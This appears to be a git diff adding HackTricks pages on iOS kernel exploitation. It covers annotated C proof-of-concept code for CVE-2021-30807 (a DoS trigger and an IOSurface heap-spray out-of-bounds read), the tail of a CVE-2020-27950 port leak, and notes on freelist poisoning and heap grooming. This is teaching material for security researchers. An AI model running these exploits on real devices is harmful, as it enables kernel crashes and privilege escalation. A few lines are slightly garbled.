// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
|
||||
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
|
||||
|
||||
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Références
|
||||
|
||||
- [Article de blog de Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -0,0 +1,297 @@
|
||||
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## La faille
|
||||
|
||||
Vous avez une [excellente explication de la vuln ici](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), mais pour résumer :
|
||||
|
||||
- Le chemin de code vulnérable est **external method #83** du client utilisateur **IOMobileFramebuffer / AppleCLCD** : `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Cette méthode reçoit un paramètre contrôlé par l'utilisateur qui n'est vérifié d'aucune manière et qui est transmis à la fonction suivante sous le nom **`scalar0`**.
|
||||
|
||||
- Cette méthode appelle **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, où **`scalar0`** (une valeur **32-bit** contrôlée par l'utilisateur) est utilisée comme **index** dans un **tableau interne de pointeurs** sans **aucune vérification de bornes** :
|
||||
|
||||
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passé à `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` comme un **`IOSurface*`**.\
|
||||
> **Résultat :** **OOB pointer read & type confusion** sur ce tableau. Si le pointeur n'est pas valide, le déréférencement du kernel panique → **DoS**.
|
||||
|
||||
> [!NOTE]
|
||||
> Ceci a été corrigé dans **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
|
||||
|
||||
|
||||
> [!WARNING]
|
||||
> La fonction initiale pour appeler `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` est protégée par l'entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Cependant, **WebKit.WebContent** possède cet entitlement, donc il peut être utilisé pour déclencher la vuln depuis un processus sandboxé.
|
||||
|
||||
## PoC DoS
|
||||
|
||||
Le PoC DoS suivant est le PoC initial du billet de blog original avec des commentaires supplémentaires :
|
||||
```c
|
||||
// PoC for CVE-2021-30807 trigger (annotated)
|
||||
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
|
||||
// Build/run only on devices you own and that are vulnerable.
|
||||
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
|
||||
// https://support.apple.com/en-us/103144
|
||||
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
|
||||
|
||||
void trigger_clcd_vuln(void) {
|
||||
kern_return_t ret;
|
||||
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
||||
|
||||
// The "type" argument is the type (selector) of user client to open.
|
||||
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
|
||||
// external methods we need (incl. selector 83). If this doesn't work on your
|
||||
// build, try different types or query IORegistry to enumerate.
|
||||
int type = 2;
|
||||
|
||||
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
|
||||
// This returns the first matched service object (a kernel object handle).
|
||||
io_service_t service = IOServiceGetMatchingService(
|
||||
kIOMasterPortDefault,
|
||||
IOServiceMatching("IOMobileFramebuffer"));
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("failed to open service\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("service: 0x%x\n", service);
|
||||
|
||||
// 2) Open a connection (user client) to the service.
|
||||
// The user client is what exposes external methods to userland.
|
||||
// 'type' selects which user client class/variant to instantiate.
|
||||
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("failed to open userclient: %s\n", mach_error_string(ret));
|
||||
return;
|
||||
}
|
||||
|
||||
printf("client: 0x%x\n", shared_user_client_conn);
|
||||
|
||||
printf("call externalMethod\n");
|
||||
|
||||
// 3) Prepare input scalars for the external method call.
|
||||
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
|
||||
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
|
||||
// We set it to a large value to force the out-of-bounds access.
|
||||
uint64_t scalars[4] = { 0x0 };
|
||||
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
|
||||
|
||||
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
|
||||
uint64_t output_scalars[4] = { 0 };
|
||||
uint32_t output_scalars_size = 1;
|
||||
|
||||
printf("call s_default_fb_surface\n");
|
||||
|
||||
// 5) Invoke external method #83.
|
||||
// On vulnerable builds, this path ends up calling:
|
||||
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
|
||||
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
|
||||
// which uses our index to read a pointer and then passes it as IOSurface*.
|
||||
// If the pointer is bogus, IOSurface code will dereference it and the kernel
|
||||
// will panic (DoS).
|
||||
ret = IOConnectCallMethod(
|
||||
shared_user_client_conn,
|
||||
83, // **Selector 83**: vulnerable external method
|
||||
scalars, 1, // input scalars (count = 1; the OOB index)
|
||||
NULL, 0, // no input struct
|
||||
output_scalars, &output_scalars_size, // optional outputs
|
||||
NULL, NULL); // no output struct
|
||||
|
||||
// 6) Check the call result. On many vulnerable targets, you'll see either
|
||||
// KERN_SUCCESS right before a panic (because the deref happens deeper),
|
||||
// or an error if the call path rejects the request (e.g., entitlement/type).
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("failed to call external method: 0x%x --> %s\n",
|
||||
ret, mach_error_string(ret));
|
||||
return;
|
||||
}
|
||||
|
||||
printf("external method returned KERN_SUCCESS\n");
|
||||
|
||||
// 7) Clean up the user client connection handle.
|
||||
IOServiceClose(shared_user_client_conn);
|
||||
printf("success!\n");
|
||||
}
|
||||
```
|
||||
## Arbitrary Read PoC expliqué
|
||||
|
||||
1. **Ouverture du bon user client**
|
||||
|
||||
- `get_appleclcd_uc()` trouve le service **AppleCLCD** et ouvre le **user client type 2**. AppleCLCD et IOMobileFramebuffer partagent la même table external-methods ; le type 2 expose **selector 83**, la méthode vulnérable. **C'est votre point d'entrée vers le bug.** E_POC/)
|
||||
|
||||
**Pourquoi 83 est important :** le chemin décompilé est :
|
||||
|
||||
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
|
||||
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
|
||||
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
|
||||
À l'intérieur de cet appel final, le code **utilise votre scalaire 32 bits comme index de tableau sans vérification de bornes**, récupère un pointeur depuis **`this + 0xA58 + index*8`**, et **le passe en tant que `IOSurface*`** à `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **C'est le OOB + la confusion de type.**
|
||||
|
||||
2. **The heap spray (pourquoi IOSurface apparaît ici)**
|
||||
|
||||
- `do_spray()` utilise **`IOSurfaceRootUserClient`** pour **créer de nombreux IOSurfaces** et **spray small values** (style `s_set_value`). Cela remplit les kernel heaps voisins avec **des pointeurs vers des objets IOSurface valides**.
|
||||
|
||||
- **Objectif :** lorsque selector 83 lit au-delà de la table légitime, la **slot OOB contient probablement un pointeur vers l'un de vos IOSurfaces (réels)** — donc la déréférence qui suit **ne plante pas** et **réussit**. IOSurface est un primitive classique de kernel spray bien documentée, et le post de Saar liste explicitement les méthodes **create / set_value / lookup** utilisées pour ce flux d'exploitation.
|
||||
|
||||
3. **L'astuce "offset/8" (ce que cet index est vraiment)**
|
||||
|
||||
- Dans `trigger_oob(offset)`, vous définissez `scalars[0] = offset / 8`.
|
||||
|
||||
- **Pourquoi diviser par 8 ?** Le kernel fait **`base + index*8`** pour calculer quelle **case de la taille d'un pointeur** lire. Vous choisissez **"numéro de case N"**, pas un offset en octets. **Huit octets par case** sur du 64-bit.
|
||||
|
||||
- Cette adresse calculée est **`this + 0xA58 + index*8`**. Le PoC utilise une grosse constante (`0x1200000 + 0x1048`) simplement pour s'avancer **très hors des limites** vers une région que vous avez essayé de **peupler densément avec des pointeurs IOSurface**. **Si le spray "gagne", la case visée est un `IOSurface*` valide.**
|
||||
|
||||
4. **Ce que renvoie selector 83 (c'est la partie subtile)**
|
||||
|
||||
- L'appel est :
|
||||
|
||||
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
|
||||
output_scalars, &output_scalars_size, NULL, NULL);`o
|
||||
|
||||
- En interne, après la récupération du pointeur OOB, le pilote appelle\
|
||||
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
|
||||
|
||||
- **Résultat :** **`output_scalars[0]` est un Mach port name (handle u32) dans votre task** pour *n'importe quel pointeur d'objet que vous avez fourni via l'OOB*. **Ce n'est pas une fuite d'adresse kernel brute ; c'est un handle en espace utilisateur (send right).** Ce comportement exact (copie d'un *port name*) est montré dans la décompilation de Saar.
|
||||
|
||||
**Pourquoi c'est utile :** avec un **port name** vers le (soi-disant) IOSurface, vous pouvez maintenant utiliser des **méthodes IOSurfaceRoot** comme :
|
||||
|
||||
- **`s_lookup_surface_from_port` (method 34)** → transformer le port en un **surface ID** sur lequel vous pouvez opérer via d'autres appels IOSurface, et
|
||||
|
||||
- **`s_create_port_from_surface` (method 35)** si vous avez besoin de l'inverse.\
|
||||
Saar mentionne explicitement ces méthodes comme étape suivante. **Le PoC démontre que vous pouvez « fabriquer » un handle IOSurface légitime à partir d'une case OOB.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
|
||||
|
||||
Ce [PoC provient de ici](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) et des commentaires ont été ajoutés pour expliquer les étapes :
|
||||
```c
|
||||
#include "exploit.h"
|
||||
|
||||
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
|
||||
io_connect_t get_appleclcd_uc(void) {
|
||||
kern_return_t ret;
|
||||
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
||||
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
|
||||
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
|
||||
|
||||
// Find the **AppleCLCD** service in the IORegistry.
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
|
||||
IOServiceMatching("AppleCLCD"));
|
||||
if(service == MACH_PORT_NULL) {
|
||||
printf("[-] failed to open service\n");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("[*] AppleCLCD service: 0x%x\n", service);
|
||||
|
||||
// Open a user client connection to AppleCLCD with the chosen **type**.
|
||||
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
||||
if(ret != KERN_SUCCESS) {
|
||||
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
|
||||
return shared_user_client_conn;
|
||||
}
|
||||
|
||||
// Trigger the OOB index path of external method #83.
|
||||
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
|
||||
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
|
||||
uint64_t trigger_oob(uint64_t offset) {
|
||||
kern_return_t ret;
|
||||
|
||||
// The method takes a single 32-bit scalar that it uses as an index.
|
||||
uint64_t scalars[1] = { 0x0 };
|
||||
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
|
||||
|
||||
// #83 returns one scalar. In this flow it will be the Mach port name
|
||||
// (a u32 handle in our task), not a kernel pointer.
|
||||
uint64_t output_scalars[1] = { 0 };
|
||||
uint32_t output_scalars_size = 1;
|
||||
|
||||
io_connect_t appleclcd_uc = get_appleclcd_uc();
|
||||
if (appleclcd_uc == MACH_PORT_NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Call external method 83. Internally:
|
||||
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
|
||||
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
|
||||
// which creates a send right for that object and writes its port name
|
||||
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
|
||||
ret = IOConnectCallMethod(appleclcd_uc, 83,
|
||||
scalars, 1,
|
||||
NULL, 0,
|
||||
output_scalars, &output_scalars_size,
|
||||
NULL, NULL);
|
||||
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
// This is the key: you get back a Mach port name (u32) to whatever
|
||||
// object was at that OOB slot (ideally an IOSurface you sprayed).
|
||||
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
|
||||
return output_scalars[0];
|
||||
}
|
||||
|
||||
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
|
||||
// real IOSurface (easier & stabler than a fully fake object).
|
||||
bool do_spray(void) {
|
||||
char data[0x10];
|
||||
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
|
||||
|
||||
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
|
||||
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
||||
if (iosurface_uc == MACH_PORT_NULL) {
|
||||
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create many IOSurfaces and use set_value / value spray helpers
|
||||
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
|
||||
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
|
||||
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
|
||||
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
|
||||
if (surface_ids[i] <= 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Spray small values repeatedly: tends to allocate/fill predictable
|
||||
// kalloc regions near where the IOMFB table OOB will read from.
|
||||
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
|
||||
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
|
||||
20, 200, // rounds, per-round items
|
||||
data, sizeof(data),
|
||||
NULL) == false) {
|
||||
printf("iosurface spray failed\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
|
||||
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
||||
if (iosurface_uc == MACH_PORT_NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("[*] do spray\n");
|
||||
if (do_spray() == false) {
|
||||
printf("[-] shape failed, abort\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[*] spray success\n");
|
||||
|
||||
// Trigger the OOB read. The magic constant chooses a pointer-slot
|
||||
// far beyond the legit array (offset is in bytes; index = offset/8).
|
||||
// If the spray worked, this returns a **Mach port name** (handle) to one
|
||||
// of your sprayed IOSurfaces; otherwise it may crash.
|
||||
printf("[*] trigger\n");
|
||||
trigger_oob(0x1200000 + 0x1048);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Références
|
||||
- [Article original de Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
|
||||
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
|
||||
- [Recherche de jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
259
src/binary-exploitation/ios-exploiting/README.md
Normal file
259
src/binary-exploitation/ios-exploiting/README.md
Normal file
@ -0,0 +1,259 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
|
||||
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
|
||||
- **Data Execution Prevention (DEP)** marque les régions mémoire comme non-exécutables à moins qu'elles ne contiennent explicitement du code. Cela empêche les attaquants d'injecter du shellcode dans des régions de données (comme le stack ou le heap) et de l'exécuter, les forçant à s'appuyer sur des techniques plus complexes comme le ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** randomise les adresses mémoire du code, des libraries, du stack et du heap à chaque exécution du système. Cela rend beaucoup plus difficile pour un attaquant de prédire où se trouvent des instructions ou gadgets utiles, brisant de nombreuses chaînes d'exploit qui dépendent d'agencements mémoire fixes.
|
||||
- **KASLR (Kernel ASLR)** applique le même concept de randomisation au kernel iOS. En mélangeant l'adresse de base du kernel à chaque boot, il empêche les attaquants de localiser de façon fiable les fonctions ou structures du kernel, augmentant la difficulté des exploits au niveau kernel qui viserait à prendre le contrôle complet du système.
|
||||
- **Kernel Patch Protection (KPP)**, aussi connu sous **AMCC (Apple Mobile File Integrity)** sur iOS, surveille en continu les pages de code du kernel pour s'assurer qu'elles n'ont pas été modifiées. Si une altération est détectée — comme un exploit essayant de patcher des fonctions kernel ou d'insérer du code malveillant — l'appareil panique et redémarre immédiatement. Cette protection rend les exploits kernel persistants beaucoup plus difficiles, car les attaquants ne peuvent pas simplement hooker ou patcher les instructions du kernel sans provoquer un crash système.
|
||||
- **Kernel Text Readonly Region (KTRR)** est une fonctionnalité de sécurité matérielle introduite sur les appareils iOS. Elle utilise le contrôleur mémoire du CPU pour marquer la section de code (text) du kernel comme en lecture seule de façon permanente après le boot. Une fois verrouillée, même le kernel lui-même ne peut pas modifier cette région mémoire. Cela empêche les attaquants — et même du code privilégié — de patcher les instructions du kernel à l'exécution, fermant une grande classe d'exploits qui reposaient sur la modification directe du code kernel.
|
||||
- **Pointer Authentication Codes (PAC)** utilisent des signatures cryptographiques insérées dans des bits inutilisés des pointeurs pour vérifier leur intégrité avant utilisation. Lorsqu'un pointeur (comme une adresse de retour ou un function pointer) est créé, le CPU le signe avec une clé secrète ; avant la déréférence, le CPU vérifie la signature. Si le pointeur a été altéré, la vérification échoue et l'exécution s'arrête. Cela empêche les attaquants de forger ou réutiliser des pointeurs corrompus dans des exploits de corruption mémoire, rendant des techniques comme le ROP ou le JOP beaucoup plus difficiles à réaliser de manière fiable.
|
||||
- **Privilege Access never (PAN)** est une fonctionnalité matérielle qui empêche le kernel (mode privilégié) d'accéder directement à la mémoire user-space sauf s'il active explicitement cet accès. Cela arrête les attaquants ayant obtenu de l'exécution de code kernel de lire ou écrire facilement la mémoire utilisateur pour escalader des privilèges ou voler des données sensibles. En imposant une séparation stricte, PAN réduit l'impact des exploits kernel et bloque de nombreuses techniques courantes d'escalade de privilèges.
|
||||
- **Page Protection Layer (PPL)** est un mécanisme de sécurité iOS qui protège les régions mémoire critiques gérées par le kernel, surtout celles liées au code signing et aux entitlements. Il applique des protections d'écriture strictes en utilisant la MMU (Memory Management Unit) et des vérifications additionnelles, garantissant que même le code kernel privilégié ne peut pas modifier arbitrairement des pages sensibles. Cela empêche les attaquants ayant obtenu l'exécution au niveau kernel de manipuler des structures critiques pour la sécurité, rendant la persistance et les contournements du code-signing significativement plus difficiles.
|
||||
|
||||
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
|
||||
|
||||
The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones."
|
||||
Each zone only stores allocations of a single size class.
|
||||
|
||||
From the screenshot:
|
||||
|
||||
| Zone Name | Element Size | Example Use |
|
||||
|----------------------|--------------|-----------------------------------------------------------------------------|
|
||||
| `default.kalloc.16` | 16 bytes | Très petites structures du kernel, pointeurs. |
|
||||
| `default.kalloc.32` | 32 bytes | Petites structures, en-têtes d'objets. |
|
||||
| `default.kalloc.64` | 64 bytes | Messages IPC, tout petits buffers kernel. |
|
||||
| `default.kalloc.128` | 128 bytes | Objets moyens comme des parties de `OSObject`. |
|
||||
| `default.kalloc.256` | 256 bytes | Messages IPC plus grands, tableaux, structures de périphériques. |
|
||||
| … | … | … |
|
||||
| `default.kalloc.1280`| 1280 bytes | Grandes structures, métadonnées IOSurface/graphics. |
|
||||
|
||||
**How it worked:**
|
||||
- Each allocation request gets **rounded up** to the nearest zone size.
|
||||
(E.g., a 50-byte request lands in the `kalloc.64` zone).
|
||||
- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone.
|
||||
- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**.
|
||||
|
||||
This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class.
|
||||
|
||||
### The freelist
|
||||
|
||||
Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks.
|
||||
|
||||
- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone.
|
||||
|
||||
- The zone kept a HEAD pointer to the first free chunk.
|
||||
|
||||
- Allocation always used the current HEAD:
|
||||
|
||||
1. Pop HEAD (return that memory to the caller).
|
||||
|
||||
2. Update HEAD = HEAD->next (stored in the freed chunk’s header).
|
||||
|
||||
- Freeing pushed chunks back:
|
||||
|
||||
- `freed_chunk->next = HEAD`
|
||||
|
||||
- `HEAD = freed_chunk`
|
||||
|
||||
So the freelist was just a linked list built inside the freed memory itself.
|
||||
|
||||
Normal state:
|
||||
```
|
||||
Zone page (64-byte chunks for example):
|
||||
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
|
||||
|
||||
Freelist view:
|
||||
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
|
||||
(next ptrs stored at start of freed chunks)
|
||||
```
|
||||
### Exploiter la freelist
|
||||
|
||||
Parce que les 8 premiers octets d'un free chunk = freelist pointer, un attaquant pourrait le corrompre :
|
||||
|
||||
1. **Heap overflow** dans un freed chunk adjacent → écraser son “next” pointer.
|
||||
|
||||
2. **Use-after-free** écriture dans un freed object → écraser son “next” pointer.
|
||||
|
||||
Ensuite, lors de la prochaine allocation de cette taille :
|
||||
|
||||
- L'allocateur retire le chunk corrompu.
|
||||
|
||||
- Suit le “next” pointer fourni par l'attaquant.
|
||||
|
||||
- Retourne un pointer vers de la mémoire arbitraire, permettant des fake object primitives ou un targeted overwrite.
|
||||
|
||||
Exemple visuel de freelist poisoning:
|
||||
```
|
||||
Before corruption:
|
||||
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
|
||||
|
||||
After attacker overwrite of F1->next:
|
||||
HEAD ──► [ F1 ]
|
||||
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
|
||||
|
||||
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
|
||||
```
|
||||
This freelist design made exploitation highly effective pre-hardening: predictable neighbors from heap sprays, raw pointer freelist links, and no type separation allowed attackers to escalate UAF/overflow bugs into arbitrary kernel memory control.
|
||||
|
||||
### Heap Grooming / Feng Shui
|
||||
Le but du heap grooming est de **façonner la disposition du heap** afin que lorsqu'un attaquant déclenche un overflow ou un use-after-free, l'objet cible (victim) se trouve juste à côté d'un objet contrôlé par l'attaquant.\
|
||||
De cette façon, lorsqu'une corruption mémoire survient, l'attaquant peut de manière fiable écraser l'objet victim avec des données contrôlées.
|
||||
|
||||
**Étapes :**
|
||||
|
||||
1. Spray allocations (fill the holes)
|
||||
- Avec le temps, le kernel heap se fragmente : certaines zones ont des trous où d'anciens objets ont été libérés.
|
||||
- L'attaquant commence par effectuer de nombreuses allocations factices pour remplir ces espaces, de sorte que le heap devienne « compact » et prévisible.
|
||||
|
||||
2. Force new pages
|
||||
- Une fois les trous remplis, les allocations suivantes doivent provenir de nouvelles pages ajoutées à la zone.
|
||||
- Des pages neuves signifient que les objets seront regroupés, et non dispersés dans une mémoire fragmentée plus ancienne.
|
||||
- Cela donne à l'attaquant un bien meilleur contrôle sur les voisins.
|
||||
|
||||
3. Place attacker objects
|
||||
- L'attaquant effectue à nouveau un spray, créant de nombreux objets contrôlés par l'attaquant dans ces nouvelles pages.
|
||||
- Ces objets sont prévisibles en taille et en emplacement (puisqu'ils appartiennent tous à la même zone).
|
||||
|
||||
4. Free a controlled object (make a gap)
|
||||
- L'attaquant libère délibérément un de ses propres objets.
|
||||
- Cela crée un « trou » dans le heap, que l'allocateur réutilisera pour la prochaine allocation de cette taille.
|
||||
|
||||
5. Victim object lands in the hole
|
||||
- L'attaquant force le kernel à allouer l'objet victim (celui qu'il veut corrompre).
|
||||
- Puisque le trou est le premier emplacement disponible dans le freelist, le victim est placé exactement là où l'attaquant a libéré son objet.
|
||||
|
||||
6. Overflow / UAF into victim
|
||||
- À présent, l'attaquant a des objets contrôlés autour du victim.
|
||||
- En overflowant depuis un de ses propres objets (ou en réutilisant un objet freed), il peut de manière fiable écraser les champs mémoire du victim avec des valeurs choisies.
|
||||
|
||||
**Pourquoi ça marche** :
|
||||
|
||||
- Predictabilité de l'allocateur de zone : les allocations de la même taille proviennent toujours de la même zone.
|
||||
- Comportement du freelist : les nouvelles allocations réutilisent d'abord le chunk le plus récemment freed.
|
||||
- Heap sprays : l'attaquant remplit la mémoire avec un contenu prévisible et contrôle la disposition.
|
||||
- Résultat final : l'attaquant contrôle où l'objet victim atterrit et quelles données se trouvent à côté de lui.
|
||||
|
||||
---
|
||||
|
||||
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
|
||||
|
||||
Apple a durci l'allocateur et rendu le **heap grooming beaucoup plus difficile** :
|
||||
|
||||
### 1. From Classic kalloc to kalloc_type
|
||||
- **Before**: un seul zone `kalloc.<size>` existait pour chaque classe de taille (16, 32, 64, … 1280, etc.). Tout objet de cette taille y était placé → les objets attaquants pouvaient se retrouver à côté d'objets kernel privilégiés.
|
||||
- **Now**:
|
||||
- Les objets kernel sont alloués depuis des **typed zones** (`kalloc_type`).
|
||||
- Chaque type d'objet (par ex. `ipc_port_t`, `task_t`, `OSString`, `OSData`) dispose de sa propre zone dédiée, même s'ils ont la même taille.
|
||||
- Le mapping entre type d'objet ↔ zone est généré par le **système kalloc_type** à la compilation.
|
||||
|
||||
Un attaquant ne peut plus garantir que des données contrôlées (`OSData`) se retrouvent adjacentes à des objets kernel sensibles (`task_t`) de la même taille.
|
||||
|
||||
### 2. Slabs and Per-CPU Caches
|
||||
- Le heap est divisé en **slabs** (pages de mémoire découpées en chunks de taille fixe pour cette zone).
|
||||
- Chaque zone a un **cache par CPU** pour réduire la contention.
|
||||
- Chemin d'allocation :
|
||||
1. Essayer le cache per-CPU.
|
||||
2. Si vide, prendre du global freelist.
|
||||
3. Si le freelist est vide, allouer un nouveau slab (une ou plusieurs pages).
|
||||
- **Avantage** : cette décentralisation rend les heap sprays moins déterministes, car les allocations peuvent être satisfaites à partir des caches de différents CPUs.
|
||||
|
||||
### 3. Randomization inside zones
|
||||
- À l'intérieur d'une zone, les éléments freed ne sont pas rendus dans un simple ordre FIFO/LIFO.
|
||||
- XNU moderne utilise des **pointeurs freelist encodés** (safe-linking comme Linux, introduit vers iOS 14).
|
||||
- Chaque pointeur freelist est **XOR-encodé** avec un cookie secret propre à la zone.
|
||||
- Cela empêche les attaquants de forger un faux pointeur freelist s'ils obtiennent une primitive d'écriture.
|
||||
- Certaines allocations sont **randomisées dans leur placement au sein d'un slab**, donc le spray ne garantit pas l'adjacence.
|
||||
|
||||
### 4. Guarded Allocations
|
||||
- Certains objets kernel critiques (par ex. credentials, task structures) sont alloués dans des **guarded zones**.
|
||||
- Ces zones insèrent des **guard pages** (mémoire non mappée) entre les slabs ou utilisent des **redzones** autour des objets.
|
||||
- Tout overflow dans la guard page déclenche un fault → panic immédiat au lieu d'une corruption silencieuse.
|
||||
|
||||
### 5. Page Protection Layer (PPL) and SPTM
|
||||
- Même si vous contrôlez un objet freed, vous ne pouvez pas modifier toute la mémoire kernel :
|
||||
- **PPL (Page Protection Layer)** impose que certaines régions (par ex. données de code signing, entitlements) soient **en lecture seule** même pour le kernel lui‑même.
|
||||
- Sur les appareils **A15/M2+**, ce rôle est remplacé/renforcé par **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
|
||||
- Ces couches matérielles signifient que les attaquants ne peuvent pas escalader depuis une simple corruption de heap vers la mise à jour arbitraire de structures de sécurité critiques.
|
||||
|
||||
### 6. Large Allocations
|
||||
- Toutes les allocations ne passent pas par `kalloc_type`.
|
||||
- Les très grosses requêtes (au‑dessus d'environ ~16KB) contournent les typed zones et sont servies directement depuis la **kernel VM (kmem)** via des allocations de pages.
|
||||
- Celles-ci sont moins prévisibles, mais aussi moins exploitables, puisqu'elles ne partagent pas de slabs avec d'autres objets.
|
||||
|
||||
### 7. Allocation Patterns Attackers Target
|
||||
Même avec ces protections, les attaquants cherchent toujours :
|
||||
- **Reference count objects** : si vous pouvez altérer les compteurs retain/release, vous pouvez provoquer des use-after-free.
|
||||
